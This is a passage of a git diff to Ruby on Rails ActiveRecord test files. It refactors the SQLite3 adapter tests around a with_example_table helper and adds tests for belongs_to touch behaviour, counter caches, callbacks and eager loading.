+ @conn.create "INSERT INTO ex (number) VALUES (#{i})"
+ end
+ rows = @conn.select_rows 'select number, id from ex'
+ assert_equal [[0, 1], [1, 2]], rows
end
- rows = @conn.select_rows 'select number, id from items'
- assert_equal [[0, 1], [1, 2]], rows
end
def test_select_rows_logged
- sql = "select * from items"
- name = "foo"
-
- assert_logged([[sql, name, []]]) do
- @conn.select_rows sql, name
+ with_example_table do
+ sql = "select * from ex"
+ name = "foo"
+ assert_logged [[sql, name, []]] do
+ @conn.select_rows sql, name
+ end
end
end
def test_transaction
- count_sql = 'select count(*) from items'
+ with_example_table do
+ count_sql = 'select count(*) from ex'
- @conn.begin_db_transaction
- @conn.create "INSERT INTO items (number) VALUES (10)"
+ @conn.begin_db_transaction
+ @conn.create "INSERT INTO ex (number) VALUES (10)"
- assert_equal 1, @conn.select_rows(count_sql).first.first
- @conn.rollback_db_transaction
- assert_equal 0, @conn.select_rows(count_sql).first.first
+ assert_equal 1, @conn.select_rows(count_sql).first.first
+ @conn.rollback_db_transaction
+ assert_equal 0, @conn.select_rows(count_sql).first.first
+ end
end
def test_tables
- assert_equal %w{ items }, @conn.tables
-
- @conn.execute <<-eosql
- CREATE TABLE people (
- id integer PRIMARY KEY AUTOINCREMENT,
- number integer
- )
- eosql
- assert_equal %w{ items people }.sort, @conn.tables.sort
+ with_example_table do
+ assert_equal %w{ ex }, @conn.tables
+ with_example_table 'id integer PRIMARY KEY AUTOINCREMENT, number integer', 'people' do
+ assert_equal %w{ ex people }.sort, @conn.tables.sort
+ end
+ end
end
def test_tables_logs_name
- assert_logged [['SCHEMA', []]] do
+ sql = <<-SQL
+ SELECT name FROM sqlite_master
+ WHERE type = 'table' AND NOT name = 'sqlite_sequence'
+ SQL
+ assert_logged [[sql.squish, 'SCHEMA', []]] do
@conn.tables('hello')
- assert_not_nil @conn.logged.first.shift
end
end
def test_indexes_logs_name
- assert_logged [["PRAGMA index_list(\"items\")", 'SCHEMA', []]] do
- @conn.indexes('items', 'hello')
+ with_example_table do
+ assert_logged [["PRAGMA index_list(\"ex\")", 'SCHEMA', []]] do
+ @conn.indexes('ex', 'hello')
+ end
end
end
def test_table_exists_logs_name
- assert @conn.table_exists?('items')
- assert_equal 'SCHEMA', @conn.logged[0][1]
+ with_example_table do
+ sql = <<-SQL
+ SELECT name FROM sqlite_master
+ WHERE type = 'table'
+ AND NOT name = 'sqlite_sequence' AND name = \"ex\"
+ SQL
+ assert_logged [[sql.squish, 'SCHEMA', []]] do
+ assert @conn.table_exists?('ex')
+ end
+ end
end
def test_columns
- columns = @conn.columns('items').sort_by { |x| x.name }
- assert_equal 2, columns.length
- assert_equal %w{ id number }.sort, columns.map { |x| x.name }
- assert_equal [nil, nil], columns.map { |x| x.default }
- assert_equal [true, true], columns.map { |x| x.null }
+ with_example_table do
+ columns = @conn.columns('ex').sort_by { |x| x.name }
+ assert_equal 2, columns.length
+ assert_equal %w{ id number }.sort, columns.map { |x| x.name }
+ assert_equal [nil, nil], columns.map { |x| x.default }
+ assert_equal [true, true], columns.map { |x| x.null }
+ end
end
def test_columns_with_default
- @conn.execute <<-eosql
- CREATE TABLE columns_with_default (
- id integer PRIMARY KEY AUTOINCREMENT,
- number integer default 10
- )
- eosql
- column = @conn.columns('columns_with_default').find { |x|
- x.name == 'number'
- }
- assert_equal 10, column.default
+ with_example_table 'id integer PRIMARY KEY AUTOINCREMENT, number integer default 10' do
+ column = @conn.columns('ex').find { |x|
+ x.name == 'number'
+ }
+ assert_equal 10, column.default
+ end
end
def test_columns_with_not_null
- @conn.execute <<-eosql
- CREATE TABLE columns_with_default (
- id integer PRIMARY KEY AUTOINCREMENT,
- number integer not null
- )
- eosql
- column = @conn.columns('columns_with_default').find { |x|
- x.name == 'number'
- }
- assert !column.null, "column should not be null"
+ with_example_table 'id integer PRIMARY KEY AUTOINCREMENT, number integer not null' do
+ column = @conn.columns('ex').find { |x| x.name == 'number' }
+ assert_not column.null, "column should not be null"
+ end
end
def test_indexes_logs
- assert_difference('@conn.logged.length') do
- @conn.indexes('items')
+ with_example_table do
+ assert_logged [["PRAGMA index_list(\"ex\")", "SCHEMA", []]] do
+ @conn.indexes('ex')
+ end
end
- assert_match(/items/, @conn.logged.last.first)
end
def test_no_indexes
@@ -317,50 +363,92 @@ module ActiveRecord
end
def test_index
- @conn.add_index 'items', 'id', :unique => true, :name => 'fun'
- index = @conn.indexes('items').find { |idx| idx.name == 'fun' }
+ with_example_table do
+ @conn.add_index 'ex', 'id', unique: true, name: 'fun'
+ index = @conn.indexes('ex').find { |idx| idx.name == 'fun' }
- assert_equal 'items', index.table
- assert index.unique, 'index is unique'
- assert_equal ['id'], index.columns
+ assert_equal 'ex', index.table
+ assert index.unique, 'index is unique'
+ assert_equal ['id'], index.columns
+ end
end
def test_non_unique_index
- @conn.add_index 'items', 'id', :name => 'fun'
- index = @conn.indexes('items').find { |idx| idx.name == 'fun' }
- assert !index.unique, 'index is not unique'
+ with_example_table do
+ @conn.add_index 'ex', 'id', name: 'fun'
+ index = @conn.indexes('ex').find { |idx| idx.name == 'fun' }
+ assert_not index.unique, 'index is not unique'
+ end
end
def test_compound_index
- @conn.add_index 'items', %w{ id number }, :name => 'fun'
- index = @conn.indexes('items').find { |idx| idx.name == 'fun' }
- assert_equal %w{ id number }.sort, index.columns.sort
+ with_example_table do
+ @conn.add_index 'ex', %w{ id number }, name: 'fun'
+ index = @conn.indexes('ex').find { |idx| idx.name == 'fun' }
+ assert_equal %w{ id number }.sort, index.columns.sort
+ end
end
def test_primary_key
- assert_equal 'id', @conn.primary_key('items')
-
- @conn.execute <<-eosql
- CREATE TABLE foos (
- internet integer PRIMARY KEY AUTOINCREMENT,
- number integer not null
- )
- eosql
- assert_equal 'internet', @conn.primary_key('foos')
+ with_example_table do
+ assert_equal 'id', @conn.primary_key('ex')
+ with_example_table 'internet integer PRIMARY KEY AUTOINCREMENT, number integer not null', 'foos' do
+ assert_equal 'internet', @conn.primary_key('foos')
+ end
+ end
end
def test_no_primary_key
- @conn.execute 'CREATE TABLE failboat (number integer not null)'
- assert_nil @conn.primary_key('failboat')
+ with_example_table 'number integer not null' do
+ assert_nil @conn.primary_key('ex')
+ end
+ end
+
+ def test_supports_extensions
+ assert_not @conn.supports_extensions?, 'does not support extensions'
+ end
+
+ def test_respond_to_enable_extension
+ assert @conn.respond_to?(:enable_extension)
+ end
+
+ def test_respond_to_disable_extension
+ assert @conn.respond_to?(:disable_extension)
+ end
+
+ def test_statement_closed
+ db = SQLite3::Database.new(ActiveRecord::Base.
+ configurations['arunit']['database'])
+ statement = SQLite3::Statement.new(db,
+ 'CREATE TABLE statement_test (number integer not null)')
+ statement.stubs(:step).raises(SQLite3::BusyException, 'busy')
+ statement.stubs(:columns).once.returns([])
+ statement.expects(:close).once
+ SQLite3::Statement.stubs(:new).returns(statement)
+
+ assert_raises ActiveRecord::StatementInvalid do
+ @conn.exec_query 'select * from statement_test'
+ end
end
private
def assert_logged logs
+ subscriber = SQLSubscriber.new
+ subscription = ActiveSupport::Notifications.subscribe('sql.active_record', subscriber)
yield
- assert_equal logs, @conn.logged
+ assert_equal logs, subscriber.logged
+ ensure
+ ActiveSupport::Notifications.unsubscribe(subscription)
end
+ def with_example_table(definition = nil, table_name = 'ex', &block)
+ definition ||= <<-SQL
+ id integer PRIMARY KEY AUTOINCREMENT,
+ number integer
+ SQL
+ super(@conn, table_name, definition, &block)
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
new file mode 100644
index 0000000000..f545fc2011
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
@@ -0,0 +1,21 @@
+# encoding: utf-8
+require "cases/helper"
+require 'models/owner'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class SQLite3CreateFolder < ActiveRecord::TestCase
+ def test_sqlite_creates_directory
+ Dir.mktmpdir do |dir|
+ dir = Pathname.new(dir)
+ @conn = Base.sqlite3_connection :database => dir.join("db/foo.sqlite3"),
+ :adapter => 'sqlite3',
+ :timeout => 100
+
+ assert Dir.exist? dir.join('db')
+ assert File.exist? dir.join('db/foo.sqlite3')
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
index 2f04c60a9a..fd0044ac05 100644
--- a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
@@ -3,20 +3,21 @@ require 'cases/helper'
module ActiveRecord::ConnectionAdapters
class SQLite3Adapter
class StatementPoolTest < ActiveRecord::TestCase
- def test_cache_is_per_pid
- return skip('must support fork') unless Process.respond_to?(:fork)
+ if Process.respond_to?(:fork)
+ def test_cache_is_per_pid
- cache = StatementPool.new nil, 10
- cache['foo'] = 'bar'
- assert_equal 'bar', cache['foo']
+ cache = StatementPool.new nil, 10
+ cache['foo'] = 'bar'
+ assert_equal 'bar', cache['foo']
- pid = fork {
- lookup = cache['foo'];
- exit!(!lookup)
- }
+ pid = fork {
+ lookup = cache['foo'];
+ exit!(!lookup)
+ }
- Process.waitpid pid
- assert $?.success?, 'process should exit successfully'
+ Process.waitpid pid
+ assert $?.success?, 'process should exit successfully'
+ end
end
end
end
diff --git a/activerecord/test/cases/ar_schema_test.rb b/activerecord/test/cases/ar_schema_test.rb
index 500df52cd8..811695938e 100644
--- a/activerecord/test/cases/ar_schema_test.rb
+++ b/activerecord/test/cases/ar_schema_test.rb
@@ -10,7 +10,7 @@ if ActiveRecord::Base.connection.supports_migrations?
ActiveRecord::SchemaMigration.drop_table
end
- def teardown
+ teardown do
@connection.drop_table :fruits rescue nil
@connection.drop_table :nep_fruits rescue nil
@connection.drop_table :nep_schema_migrations rescue nil
diff --git a/activerecord/test/cases/associations/association_scope_test.rb b/activerecord/test/cases/associations/association_scope_test.rb
index d38648202e..3e0032ec73 100644
--- a/activerecord/test/cases/associations/association_scope_test.rb
+++ b/activerecord/test/cases/associations/association_scope_test.rb
@@ -6,9 +6,15 @@ module ActiveRecord
module Associations
class AssociationScopeTest < ActiveRecord::TestCase
test 'does not duplicate conditions' do
- association_scope = AssociationScope.new(Author.new.association(:welcome_posts))
- wheres = association_scope.scope.where_values.map(&:right)
+ scope = AssociationScope.scope(Author.new.association(:welcome_posts),
+ Author.connection)
+ wheres = scope.where_values.map(&:right)
+ binds = scope.bind_values.map(&:last)
+ wheres = scope.where_values.map(&:right).reject { |node|
+ Arel::Nodes::BindParam === node
+ }
assert_equal wheres.uniq, wheres
+ assert_equal binds.uniq, binds
end
end
end
diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb
index 95896971a8..3b484a0d64 100644
--- a/activerecord/test/cases/associations/belongs_to_associations_test.rb
+++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb
@@ -1,4 +1,4 @@
-require "cases/helper"
+require 'cases/helper'
require 'models/developer'
require 'models/project'
require 'models/company'
@@ -14,6 +14,10 @@ require 'models/sponsor'
require 'models/member'
require 'models/essay'
require 'models/toy'
+require 'models/invoice'
+require 'models/line_item'
+require 'models/column'
+require 'models/record'
class BelongsToAssociationsTest < ActiveRecord::TestCase
fixtures :accounts, :companies, :developers, :projects, :topics,
@@ -26,6 +30,13 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal companies(:first_firm).name, firm.name
end
+ def test_belongs_to_does_not_use_order_by
+ ActiveRecord::SQLCounter.clear_log
+ Client.find(3).firm
+ ensure
+ assert ActiveRecord::SQLCounter.log_all.all? { |sql| /order by/i !~ sql }, 'ORDER BY was used in the query'
+ end
+
def test_belongs_to_with_primary_key
client = Client.create(:name => "Primary key client", :firm_name => companies(:first_firm).name)
assert_equal companies(:first_firm).name, client.firm_with_primary_key.name
@@ -222,13 +233,13 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
def test_belongs_to_counter
debate = Topic.create("title" => "debate")
- assert_equal 0, debate.send(:read_attribute, "replies_count"), "No replies yet"
+ assert_equal 0, debate.read_attribute("replies_count"), "No replies yet"
trash = debate.replies.create("title" => "blah!", "content" => "world around!")
- assert_equal 1, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply created"
+ assert_equal 1, Topic.find(debate.id).read_attribute("replies_count"), "First reply created"
trash.destroy
- assert_equal 0, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply deleted"
+ assert_equal 0, Topic.find(debate.id).read_attribute("replies_count"), "First reply deleted"
end
def test_belongs_to_counter_with_assigning_nil
@@ -324,6 +335,64 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal 1, Topic.find(topic.id)[:replies_count]
end
+ def test_belongs_to_with_touch_option_on_touch
+ line_item = LineItem.create!
+ Invoice.create!(line_items: [line_item])
+
+ assert_queries(1) { line_item.touch }
+ end
+
+ def test_belongs_to_with_touch_option_on_touch_without_updated_at_attributes
+ assert_not LineItem.column_names.include?("updated_at")
+
+ line_item = LineItem.create!
+ invoice = Invoice.create!(line_items: [line_item])
+ initial = invoice.updated_at
+ line_item.touch
+
+ assert_not_equal initial, invoice.reload.updated_at
+ end
+
+ def test_belongs_to_with_touch_option_on_touch_and_removed_parent
+ line_item = LineItem.create!
+ Invoice.create!(line_items: [line_item])
+
+ line_item.invoice = nil
+
+ assert_queries(2) { line_item.touch }
+ end
+
+ def test_belongs_to_with_touch_option_on_update
+ line_item = LineItem.create!
+ Invoice.create!(line_items: [line_item])
+
+ assert_queries(2) { line_item.update amount: 10 }
+ end
+
+ def test_belongs_to_with_touch_option_on_destroy
+ line_item = LineItem.create!
+ Invoice.create!(line_items: [line_item])
+
+ assert_queries(2) { line_item.destroy }
+ end
+
+ def test_belongs_to_with_touch_option_on_destroy_with_destroyed_parent
+ line_item = LineItem.create!
+ invoice = Invoice.create!(line_items: [line_item])
+ invoice.destroy
+
+ assert_queries(1) { line_item.destroy }
+ end
+
+ def test_belongs_to_with_touch_option_on_touch_and_reassigned_parent
+ line_item = LineItem.create!
+ Invoice.create!(line_items: [line_item])
+
+ line_item.invoice = Invoice.create!
+
+ assert_queries(3) { line_item.touch }
+ end
+
def test_belongs_to_counter_after_update
topic = Topic.create!(title: "37s")
topic.replies.create!(title: "re: 37s", content: "rails")
@@ -391,8 +460,7 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
def test_dont_find_target_when_foreign_key_is_null
tagging = taggings(:thinking_general)
- queries = assert_sql { tagging.super_tag }
- assert_equal 0, queries.length
+ assert_queries(0) { tagging.super_tag }
end
def test_field_name_same_as_foreign_key
@@ -434,6 +502,27 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal 4, topic.replies.size
end
+ def test_concurrent_counter_cache_double_destroy
+ topic = Topic.create :title => "Zoom-zoom-zoom"
+
+ 5.times do
+ topic.replies.create(:title => "re: zoom", :content => "speedy quick!")
+ end
+
+ assert_equal 5, topic.reload[:replies_count]
+ assert_equal 5, topic.replies.size
+
+ reply = topic.replies.first
+ reply_clone = Reply.find(reply.id)
+
+ reply.destroy
+ assert_equal 4, topic.reload[:replies_count]
+
+ reply_clone.destroy
+ assert_equal 4, topic.reload[:replies_count]
+ assert_equal 4, topic.replies.size
+ end
+
def test_custom_counter_cache
reply = Reply.create(:title => "re: zoom", :content => "speedy quick!")
assert_equal 0, reply[:replies_count]
@@ -538,6 +627,19 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_nil essay.writer_id
end
+ def test_polymorphic_assignment_with_nil
+ essay = Essay.new
+ assert_nil essay.writer_id
+ assert_nil essay.writer_type
+
+ essay.writer_id = 1
+ essay.writer_type = 'Author'
+
+ essay.writer = nil
+ assert_nil essay.writer_id
+ assert_nil essay.writer_type
+ end
+
def test_belongs_to_proxy_should_not_respond_to_private_methods
assert_raise(NoMethodError) { companies(:first_firm).private_method }
assert_raise(NoMethodError) { companies(:second_client).firm.private_method }
@@ -565,6 +667,8 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
end
def test_dependent_delete_and_destroy_with_belongs_to
+ AuthorAddress.destroyed_author_address_ids.clear
+
author_address = author_addresses(:david_address)
author_address_extra = author_addresses(:david_address_extra)
assert_equal [], AuthorAddress.destroyed_author_address_ids
@@ -577,16 +681,11 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal [author_address.id], AuthorAddress.destroyed_author_address_ids
end
- def test_invalid_belongs_to_dependent_option_nullify_raises_exception
- assert_raise ArgumentError do
+ def test_belongs_to_invalid_dependent_option_raises_exception
+ error = assert_raise ArgumentError do
Class.new(Author).belongs_to :special_author_address, :dependent => :nullify
end
- end
-
- def test_invalid_belongs_to_dependent_option_restrict_raises_exception
- assert_raise ArgumentError do
- Class.new(Author).belongs_to :special_author_address, :dependent => :restrict
- end
+ assert_equal error.message, 'The :dependent option must be one of [:destroy, :delete], but is :nullify'
end
def test_attributes_are_being_set_when_initialized_from_belongs_to_association_with_where_clause
@@ -759,6 +858,17 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal 0, comments(:greetings).reload.children_count
end
+ def test_belongs_to_with_id_assigning
+ post = posts(:welcome)
+ comment = Comment.create! body: "foo", post: post
+ parent = comments(:greetings)
+ assert_equal 0, parent.reload.children_count
+ comment.parent_id = parent.id
+
+ comment.save!
+ assert_equal 1, parent.reload.children_count
+ end
+
def test_polymorphic_with_custom_primary_key
toy = Toy.create!
sponsor = Sponsor.create!(:sponsorable => toy)
@@ -788,4 +898,20 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert post.save
assert_equal post.author_id, author2.id
end
+
+ test 'dangerous association name raises ArgumentError' do
+ [:errors, 'errors', :save, 'save'].each do |name|
+ assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+ Class.new(ActiveRecord::Base) do
+ belongs_to name
+ end
+ end
+ end
+ end
+
+ test 'belongs_to works with model called Record' do
+ record = Record.create!
+ Column.create! record: record
+ assert_equal 1, Column.count
+ end
end
diff --git a/activerecord/test/cases/associations/callbacks_test.rb b/activerecord/test/cases/associations/callbacks_test.rb
index 2d0d4541b4..5b7e462f64 100644
--- a/activerecord/test/cases/associations/callbacks_test.rb
+++ b/activerecord/test/cases/associations/callbacks_test.rb
@@ -101,6 +101,27 @@ class AssociationCallbacksTest < ActiveRecord::TestCase
"after_adding#{david.id}"], ar.developers_log
end
+ def test_has_and_belongs_to_many_before_add_called_before_save
+ dev = nil
+ new_dev = nil
+ klass = Class.new(Project) do
+ def self.name; Project.name; end
+ has_and_belongs_to_many :developers_with_callbacks,
+ :class_name => "Developer",
+ :before_add => lambda { |o,r|
+ dev = r
+ new_dev = r.new_record?
+ }
+ end
+ rec = klass.create!
+ alice = Developer.new(:name => 'alice')
+ rec.developers_with_callbacks << alice
+ assert_equal alice, dev
+ assert_not_nil new_dev
+ assert new_dev, "record should not have been saved"
+ assert_not alice.new_record?
+ end
+
def test_has_and_belongs_to_many_after_add_called_after_save
ar = projects(:active_record)
assert ar.developers_log.empty?
@@ -129,7 +150,7 @@ class AssociationCallbacksTest < ActiveRecord::TestCase
"after_removing#{jamis.id}"], activerecord.developers_log
end
- def test_has_and_belongs_to_many_remove_callback_on_clear
+ def test_has_and_belongs_to_many_does_not_fire_callbacks_on_clear
activerecord = projects(:active_record)
assert activerecord.developers_log.empty?
if activerecord.developers_with_callbacks.size == 0
@@ -138,9 +159,9 @@ class AssociationCallbacksTest < ActiveRecord::TestCase
activerecord.reload
assert activerecord.developers_with_callbacks.size == 2
end
- log_array = activerecord.developers_with_callbacks.collect {|d| ["before_removing#{d.id}","after_removing#{d.id}"]}.flatten.sort
+ activerecord.developers_with_callbacks.flat_map {|d| ["before_removing#{d.id}","after_removing#{d.id}"]}.sort
assert activerecord.developers_with_callbacks.clear
- assert_equal log_array, activerecord.developers_log.sort
+ assert_predicate activerecord.developers_log, :empty?
end
def test_has_many_and_belongs_to_many_callbacks_for_save_on_parent
diff --git a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
index e693d34f99..71c0609df5 100644
--- a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
+++ b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
@@ -52,12 +52,10 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
def test_cascaded_eager_association_loading_with_join_for_count
categories = Category.joins(:categorizations).includes([{:posts=>:comments}, :authors])
- assert_nothing_raised do
- assert_equal 4, categories.count
- assert_equal 4, categories.to_a.count
- assert_equal 3, categories.distinct.count
- assert_equal 3, categories.to_a.uniq.size # Must uniq since instantiating with inner joins will get dupes
- end
+ assert_equal 4, categories.count
+ assert_equal 4, categories.to_a.count
+ assert_equal 3, categories.distinct.count
+ assert_equal 3, categories.to_a.uniq.size # Must uniq since instantiating with inner joins will get dupes
end
def test_cascaded_eager_association_loading_with_duplicated_includes
@@ -176,4 +174,15 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
sink = Vertex.all.merge!(:includes=>{:sources=>{:sources=>{:sources=>:sources}}}, :order => 'vertices.id DESC').first
assert_equal vertices(:vertex_1), assert_no_queries { sink.sources.first.sources.first.sources.first.sources.first }
end
+
+ def test_eager_association_loading_with_cascaded_interdependent_one_level_and_two_levels
+ authors_relation = Author.all.merge!(includes: [:comments, { posts: :categorizations }], order: "authors.id")
+ authors = authors_relation.to_a
+ assert_equal 3, authors.size
+ assert_equal 10, authors[0].comments.size
+ assert_equal 1, authors[1].comments.size
+ assert_equal 5, authors[0].posts.size
+ assert_equal 3, authors[1].posts.size
+ assert_equal 3, authors[0].posts.collect { |post| post.categorizations.size }.inject(0) { |sum, i| sum+i }
+ end
end
diff --git a/activerecord/test/cases/associations/eager_load_nested_include_test.rb b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
index 5ff117eaa0..0ff87d53ea 100644
--- a/activerecord/test/cases/associations/eager_load_nested_include_test.rb
+++ b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
@@ -68,7 +68,7 @@ class EagerLoadPolyAssocsTest < ActiveRecord::TestCase
generate_test_object_graphs
end
- def teardown
+ teardown do
[Circle, Square, Triangle, PaintColor, PaintTexture,
ShapeExpression, NonPolyOne, NonPolyTwo].each do |c|
c.delete_all
@@ -111,7 +111,7 @@ class EagerLoadNestedIncludeWithMissingDataTest < ActiveRecord::TestCase
@first_categorization = @davey_mcdave.categorizations.create(:category => Category.first, :post => @first_post)
end
- def teardown
+ teardown do
@davey_mcdave.destroy
@first_post.destroy
@first_comment.destroy
diff --git a/activerecord/test/cases/associations/eager_singularization_test.rb b/activerecord/test/cases/associations/eager_singularization_test.rb
index 634f6b63ba..a61a070331 100644
--- a/activerecord/test/cases/associations/eager_singularization_test.rb
+++ b/activerecord/test/cases/associations/eager_singularization_test.rb
@@ -1,128 +1,132 @@
require "cases/helper"
-class Virus < ActiveRecord::Base
- belongs_to :octopus
-end
-class Octopus < ActiveRecord::Base
- has_one :virus
-end
-class Pass < ActiveRecord::Base
- belongs_to :bus
-end
-class Bus < ActiveRecord::Base
- has_many :passes
-end
-class Mess < ActiveRecord::Base
- has_and_belongs_to_many :crises
-end
-class Crisis < ActiveRecord::Base
- has_and_belongs_to_many :messes
- has_many :analyses, :dependent => :destroy
- has_many :successes, :through => :analyses
- has_many :dresses, :dependent => :destroy
- has_many :compresses, :through => :dresses
-end
-class Analysis < ActiveRecord::Base
- belongs_to :crisis
- belongs_to :success
-end
-class Success < ActiveRecord::Base
- has_many :analyses, :dependent => :destroy
- has_many :crises, :through => :analyses
-end
-class Dress < ActiveRecord::Base
- belongs_to :crisis
- has_many :compresses
-end
-class Compress < ActiveRecord::Base
- belongs_to :dress
-end
-
+if ActiveRecord::Base.connection.supports_migrations?
class EagerSingularizationTest < ActiveRecord::TestCase
+ class Virus < ActiveRecord::Base
+ belongs_to :octopus
+ end
+
+ class Octopus < ActiveRecord::Base
+ has_one :virus
+ end
+
+ class Pass < ActiveRecord::Base
+ belongs_to :bus
+ end
+
+ class Bus < ActiveRecord::Base
+ has_many :passes
+ end
+
+ class Mess < ActiveRecord::Base
+ has_and_belongs_to_many :crises
+ end
+
+ class Crisis < ActiveRecord::Base
+ has_and_belongs_to_many :messes
+ has_many :analyses, :dependent => :destroy
+ has_many :successes, :through => :analyses
+ has_many :dresses, :dependent => :destroy
+ has_many :compresses, :through => :dresses
+ end
+
+ class Analysis < ActiveRecord::Base
+ belongs_to :crisis
+ belongs_to :success
+ end
+
+ class Success < ActiveRecord::Base
+ has_many :analyses, :dependent => :destroy
+ has_many :crises, :through => :analyses
+ end
+
+ class Dress < ActiveRecord::Base
+ belongs_to :crisis
+ has_many :compresses
+ end
+
+ class Compress < ActiveRecord::Base
+ belongs_to :dress
+ end
def setup
- if ActiveRecord::Base.connection.supports_migrations?
- ActiveRecord::Base.connection.create_table :viri do |t|
- t.column :octopus_id, :integer
- t.column :species, :string
- end
- ActiveRecord::Base.connection.create_table :octopi do |t|
- t.column :species, :string
- end
- ActiveRecord::Base.connection.create_table :passes do |t|
- t.column :bus_id, :integer
- t.column :rides, :integer
- end
- ActiveRecord::Base.connection.create_table :buses do |t|
- t.column :name, :string
- end
- ActiveRecord::Base.connection.create_table :crises_messes, :id => false do |t|
- t.column :crisis_id, :integer
- t.column :mess_id, :integer
- end
- ActiveRecord::Base.connection.create_table :messes do |t|
- t.column :name, :string
- end
- ActiveRecord::Base.connection.create_table :crises do |t|
- t.column :name, :string
- end
- ActiveRecord::Base.connection.create_table :successes do |t|
- t.column :name, :string
- end
- ActiveRecord::Base.connection.create_table :analyses do |t|
- t.column :crisis_id, :integer
- t.column :success_id, :integer
- end
- ActiveRecord::Base.connection.create_table :dresses do |t|
- t.column :crisis_id, :integer
- end
- ActiveRecord::Base.connection.create_table :compresses do |t|
- t.column :dress_id, :integer
- end
- @have_tables = true
- else
- @have_tables = false
- end
- end
-
- def teardown
- ActiveRecord::Base.connection.drop_table :viri
- ActiveRecord::Base.connection.drop_table :octopi
- ActiveRecord::Base.connection.drop_table :passes
- ActiveRecord::Base.connection.drop_table :buses
- ActiveRecord::Base.connection.drop_table :crises_messes
- ActiveRecord::Base.connection.drop_table :messes
- ActiveRecord::Base.connection.drop_table :crises
- ActiveRecord::Base.connection.drop_table :successes
- ActiveRecord::Base.connection.drop_table :analyses
- ActiveRecord::Base.connection.drop_table :dresses
- ActiveRecord::Base.connection.drop_table :compresses
+ connection.create_table :viri do |t|
+ t.column :octopus_id, :integer
+ t.column :species, :string
+ end
+ connection.create_table :octopi do |t|
+ t.column :species, :string
+ end
+ connection.create_table :passes do |t|
+ t.column :bus_id, :integer
+ t.column :rides, :integer
+ end
+ connection.create_table :buses do |t|
+ t.column :name, :string
+ end
+ connection.create_table :crises_messes, :id => false do |t|
+ t.column :crisis_id, :integer
+ t.column :mess_id, :integer
+ end
+ connection.create_table :messes do |t|
+ t.column :name, :string
+ end
+ connection.create_table :crises do |t|
+ t.column :name, :string
+ end
+ connection.create_table :successes do |t|
+ t.column :name, :string
+ end
+ connection.create_table :analyses do |t|
+ t.column :crisis_id, :integer
+ t.column :success_id, :integer
+ end
+ connection.create_table :dresses do |t|
+ t.column :crisis_id, :integer
+ end
+ connection.create_table :compresses do |t|
+ t.column :dress_id, :integer
+ end
+ end
+
+ teardown do
+ connection.drop_table :viri
+ connection.drop_table :octopi
+ connection.drop_table :passes
+ connection.drop_table :buses
+ connection.drop_table :crises_messes
+ connection.drop_table :messes
+ connection.drop_table :crises
+ connection.drop_table :successes
+ connection.drop_table :analyses
+ connection.drop_table :dresses
+ connection.drop_table :compresses
+ end
+
+ def connection
+ ActiveRecord::Base.connection
end
def test_eager_no_extra_singularization_belongs_to
- return unless @have_tables
assert_nothing_raised do
Virus.all.merge!(:includes => :octopus).to_a
end
end
def test_eager_no_extra_singularization_has_one
- return unless @have_tables
assert_nothing_raised do
Octopus.all.merge!(:includes => :virus).to_a
end
end
def test_eager_no_extra_singularization_has_many
- return unless @have_tables
assert_nothing_raised do
Bus.all.merge!(:includes => :passes).to_a
end
end
def test_eager_no_extra_singularization_has_and_belongs_to_many
- return unless @have_tables
assert_nothing_raised do
Crisis.all.merge!(:includes => :messes).to_a
Mess.all.merge!(:includes => :crises).to_a
@@ -130,16 +134,15 @@ class EagerSingularizationTest < ActiveRecord::TestCase
end
def test_eager_no_extra_singularization_has_many_through_belongs_to
- return unless @have_tables
assert_nothing_raised do
Crisis.all.merge!(:includes => :successes).to_a
end
end
def test_eager_no_extra_singularization_has_many_through_has_many
- return unless @have_tables
assert_nothing_raised do
Crisis.all.merge!(:includes => :compresses).to_a
end
end
end
+end
diff --git a/activerecord/test/cases/associations/eager_test.rb b/activerecord/test/cases/associations/eager_test.rb
index 846ef05c7d..7eaa5adc86 100644
--- a/activerecord/test/cases/associations/eager_test.rb
+++ b/activerecord/test/cases/associations/eager_test.rb
@@ -4,6 +4,7 @@ require 'models/tagging'
require 'models/tag'
require 'models/comment'
require 'models/author'
+require 'models/essay'
require 'models/category'
require 'models/company'
require 'models/person'
@@ -24,7 +25,7 @@ require 'models/categorization'
require 'models/sponsor'
class EagerAssociationTest < ActiveRecord::TestCase
- fixtures :posts, :comments, :authors, :author_addresses, :categories, :categories_posts,
+ fixtures :posts, :comments, :authors, :essays, :author_addresses, :categories, :categories_posts,
:companies, :accounts, :tags, :taggings, :people, :readers, :categorizations,
:owners, :pets, :author_favorites, :jobs, :references, :subscribers, :subscriptions, :books,
:developers, :projects, :developers_projects, :members, :memberships, :clubs, :sponsors
